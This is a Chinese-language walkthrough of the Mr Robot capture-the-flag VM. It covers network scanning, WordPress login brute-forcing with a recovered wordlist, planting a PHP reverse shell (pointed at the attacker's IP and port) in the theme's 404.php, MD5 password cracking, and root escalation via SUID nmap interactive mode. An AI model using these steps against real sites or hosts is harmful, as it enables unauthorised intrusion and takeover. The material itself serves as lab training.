Mr Robot靶场实战

一、实战环境

1、攻击机:kali

2、靶场:mrRobot-vmdk

3、网络:NAT模式

二、使用的工具

1、arp-scan

2、burpsuite

3、nmap

4、nc

三、靶场记录

1、查看靶场主机的ip地址

└─# arp-scan -l -I eth0 
Interface: eth0, type: EN10MB, MAC: 00:0c:29:3c:06:44, IPv4: 10.0.0.128
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.0.1    00:50:56:c0:00:08   (Unknown)
10.0.0.2    00:50:56:eb:59:d4   (Unknown)
10.0.0.139  00:0c:29:12:79:8e   (Unknown)
10.0.0.254  00:50:56:eb:ab:d5   (Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.844 seconds (138.83 hosts/sec). 4 responded

扫描出一个IP地址10.0.0.139。

2、nmap查看靶机开放的端口

└─# nmap -p- 10.0.0.139
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-13 02:32 EDT
Nmap scan report for 10.0.0.139 (10.0.0.139)
Host is up (0.00027s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE  SERVICE
22/tcp  closed ssh
80/tcp  open   http
443/tcp open   https
MAC Address: 00:0C:29:12:79:8E (VMware)

Nmap done: 1 IP address (1 host up) scanned in 104.40 seconds

3、nmap查看详细的版本

└─# nmap -p22,80,443 -T4  -sV 10.0.0.139
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-13 02:40 EDT
Nmap scan report for 10.0.0.139 (10.0.0.139)
Host is up (0.00030s latency).

PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
443/tcp open   ssl/http Apache httpd
MAC Address: 00:0C:29:12:79:8E (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.69 seconds

靶机关闭了ssh服务,开放了80端口和443端口对应的http和https服务。可以浏览器访问对应IP的网站进行渗透测试。

4、浏览器访问靶机IP地址

可以输入如下命令

输入prepare命令发现是一个视频。

输入fsociety命令发现依然是一个视频。

输入inform命令发现是一些图片和文字。

输入question命令发现是一些图片。

输入wakeup命令发现是视频。

输入join命令,弹出提示输入邮箱地址。

输入其他命令时,不能识别。

5、网页也没有可以利用的地址,便进行网站目录扫描。

dirsearch -u http://10.0.0.139/




查看到网站根目录下

robots.txt

/wp-login.php

/admin/

查看网站是由WordPress架构部署的。kali里面有针对WordPress的专用工具wpscan。

6、使用wpscan扫描靶机WEB

并没有爆出有漏洞可利用的地址。

7、继续使用浏览器访问之前扫描出的robots.txt,靶机IP地址+robots.txt

发现fsocity.dic、key-1-of-3.txt这两个文件。

浏览器访问靶机IP地址+fsocity.dic下载后,查看里面的内容,就是一个字典文件。

浏览器访问靶机IP地址+key-1-of-3.txt下载后,查看里面的内容:

找到了第一个flag。

8、网站目录扫描还有一个后台登录wp-login.php文件,浏览器访问靶机IP地址+wp-login.php

若有账号和密码就可以直接登录,查看后台管理页面有没有可利用的位置。

使用之前发现fsocity.dic字典文件,爆破出账号和密码。

9、利用burpsuite抓包,,发送到intruder模块,加载fsocity.dic字典文件,进行爆破。

发现字典太大,爆破到两万多,burpsuite占满8G内存。看能不能对fsocity.dic字典文件处理一下。

10、将这个fsocity.dic字典文件去除重复部分。

sort fsocity.dic | uniq > dic.txt

去掉重复化后的字典大小仅有96.7kb。

11、继续使用burpsuite进行爆破。


获的账号和密码:elliot和ER28-0652。

这个爆破还可以使用wpscan,hydra工具进行。

12、浏览器访问靶机IP地址+wp-login.php,输入爆出的账号和密码,成功登录网站后台。寻找可利用点。

13、在网站后台管理页面,寻找可利用的地方。在"Appearance"菜单下"Editor",可以编辑源文件并提交。

WordPress中editor页面的404.php文件。

可以将php的反弹shell获取权限内容写入到404.php文件中,然后把修改的文件提交到靶机就可以。

14、查看kali有没有默认php-shell文件

sudo find / -name php-reverse-shell.php

查找到kali系统中存在默认WordPress的php反弹shell文件。

15、修改php-reverse-shell.php文件,配置IP地址(攻击机IP),端口直接使用默认的8888端口(也可以修改)。

//$ip   = isset($_POST['ip']) ? $_POST['ip']   : '10.2.2.1';
$ip = '10.0.0.128';  // CHANGE THIS
$port = 8888;       // CHANGE THIS
//$port  = isset($_POST['port']) ? $_POST['port']   : '8888';

16、将php-reverse-shell.php文件内容复制到WordPress中editor页面的404.php文件中,点击"upload files"。

网页显示文件修改成功。

17、在kali上使用nc监听相应的端口,并在浏览器中访问修改过的404.php,得到权限。

nc -lnvp 8888 # 8888端口号   和上面php-reverse-shell.php里面修改的端口号保持一致。

18、浏览器中访问修改过的404.php

http://10.0.0.139/wp-content/themes/twentyfourteen/404.php

成功建立连接。

19、切换家目录/home/robot/,ls 查看当前目录下的文件。

使用cat 命令查看key-2-of-3.txt,报有权限查看问题。

使用cat 命令查看password.raw-md5,可以查看到。文件名提示了MD5加密。进行在线MD5解密。

成功解出密码:abcdefghijklmnopqrstuvwxyz。

20、在终端使用python获取稳定终端登录。

python -c 'import pty'pty.spawn("/bin/bash")'

21、切换robot用户登录,输入前面爆出的26个字母密码。

robot用户成功登录。

22、查看robot用户家目录下文件

cat key-2-of-3.txt

找到第二个flag。

23、成功登录,进行系统提权。利用可执行文件SUID进行Linux提权。

find / -user root -perm -4000 -print 2>/dev/null 

寻找可以利用的命令,发现了nmap命令。

Nmap(2.02到5.21)有交互模式,允许用户执行shell命令。

nmap -v 查看nmap版本是3.81,正好在2.02到5.21版本之间。

nmap --interactive

进入交互模式,接着使用命令:!sh 成功提权为root用户。

查看是否是root用户,输入whoami命令。确实root用户。

切换到root目录下,查看当前目录下文件。

cat key-3-of-3.txt

成功拿下第三个flag。